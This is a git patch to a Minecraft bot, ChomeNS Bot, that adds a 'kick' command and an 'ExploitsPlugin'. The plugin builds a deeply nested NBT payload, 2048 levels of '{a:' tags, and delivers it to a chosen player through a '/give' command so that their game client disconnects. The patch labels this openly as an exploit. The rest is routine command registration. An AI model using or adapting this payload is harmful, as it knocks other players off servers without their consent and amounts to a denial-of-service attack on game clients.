From 8750f5e2d6309b703a2777c80896ab7c7e5d4d79 Mon Sep 17 00:00:00 2001 From: ChomeNS <95471003+ChomeNS@users.noreply.github.com> Date: Mon, 17 Apr 2023 17:38:23 +0700 Subject: [PATCH] add kick !!!! --- .../chipmunk/chayapak/chomens_bot/Bot.java | 2 + .../chomens_bot/commands/KickCommand.java | 59 +++++++++++++++++++ .../plugins/CommandHandlerPlugin.java | 1 + .../chomens_bot/plugins/ExploitsPlugin.java | 29 +++++++++ 4 files changed, 91 insertions(+) create mode 100644 src/main/java/land/chipmunk/chayapak/chomens_bot/commands/KickCommand.java create mode 100644 src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/ExploitsPlugin.java diff --git a/src/main/java/land/chipmunk/chayapak/chomens_bot/Bot.java b/src/main/java/land/chipmunk/chayapak/chomens_bot/Bot.java index edecc474..3c57cf50 100644 --- a/src/main/java/land/chipmunk/chayapak/chomens_bot/Bot.java +++ b/src/main/java/land/chipmunk/chayapak/chomens_bot/Bot.java @@ -61,6 +61,7 @@ public class Bot { @Getter private GrepLogPlugin grepLog; @Getter private CloopPlugin cloop; @Getter private MazePlugin maze; + @Getter private ExploitsPlugin exploits; public Bot (String host, int port, String _username, boolean kaboom, String serverName, boolean useChat, boolean hasEssentials, List allBots, Configuration config) { this.host = host; @@ -101,6 +102,7 @@ public class Bot { this.grepLog = new GrepLogPlugin(this); this.cloop = new CloopPlugin(this); this.maze = new MazePlugin(this); + this.exploits = new ExploitsPlugin(this); reconnect(); } diff --git a/src/main/java/land/chipmunk/chayapak/chomens_bot/commands/KickCommand.java b/src/main/java/land/chipmunk/chayapak/chomens_bot/commands/KickCommand.java new file mode 100644 index 00000000..fc3e7cec --- /dev/null +++ b/src/main/java/land/chipmunk/chayapak/chomens_bot/commands/KickCommand.java @@ -0,0 +1,59 @@ +package land.chipmunk.chayapak.chomens_bot.commands; + +import land.chipmunk.chayapak.chomens_bot.Bot; +import land.chipmunk.chayapak.chomens_bot.chatParsers.data.MutablePlayerListEntry; +import land.chipmunk.chayapak.chomens_bot.command.Command; +import land.chipmunk.chayapak.chomens_bot.command.CommandContext; +import net.kyori.adventure.text.Component; +import net.kyori.adventure.text.format.NamedTextColor; + +import java.util.ArrayList; +import java.util.List; +import java.util.UUID; + +public class KickCommand implements Command { + public String name() { return "kick"; } + + public String description() { + return "Kicks a player"; + } + + public List usage() { + final List usages = new ArrayList<>(); + usages.add("<{player}>"); + + return usages; + } + + public List alias() { + final List aliases = new ArrayList<>(); + aliases.add(""); + + return aliases; + } + + public int trustLevel() { + return 1; + } + + public Component execute(CommandContext context, String[] args, String[] fullArgs) { + final Bot bot = context.bot(); + + final MutablePlayerListEntry entry = bot.players().getEntry(String.join(" ", args)); + + if (entry == null) return Component.text("Invalid player name").color(NamedTextColor.RED); + + final String name = entry.profile().getName(); + final UUID uuid = entry.profile().getId(); + + context.sendOutput( + Component.empty() + .append(Component.text("Kicking player ")) + .append(Component.text(name).color(NamedTextColor.GOLD)) + ); + + bot.exploits().kick(uuid); + + return Component.text("success"); + } +} diff --git a/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/CommandHandlerPlugin.java b/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/CommandHandlerPlugin.java index 9a324f38..9c11a113 100644 --- a/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/CommandHandlerPlugin.java +++ b/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/CommandHandlerPlugin.java @@ -52,6 +52,7 @@ public class CommandHandlerPlugin { registerCommand(new BotUserCommand()); registerCommand(new GenerateMazeCommand()); registerCommand(new TranslateCommand()); + registerCommand(new KickCommand()); } public void registerCommand (Command command) { diff --git a/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/ExploitsPlugin.java b/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/ExploitsPlugin.java new file mode 100644 index 00000000..89874f96 --- /dev/null +++ b/src/main/java/land/chipmunk/chayapak/chomens_bot/plugins/ExploitsPlugin.java @@ -0,0 +1,29 @@ +package land.chipmunk.chayapak.chomens_bot.plugins; + +import land.chipmunk.chayapak.chomens_bot.Bot; +import land.chipmunk.chayapak.chomens_bot.util.UUIDUtilities; + +import java.util.UUID; + +public class ExploitsPlugin { + private final Bot bot; + + public ExploitsPlugin (Bot bot) { + this.bot = bot; + } + + public void kick (UUID uuid) { + + String nbt = "{a:".repeat(2048) + + "''" + + "}".repeat(2048); + + bot.core().run( + String.format( + "minecraft:give %s minecraft:stone%s", + UUIDUtilities.selector(uuid), + nbt + ) + ); + } +}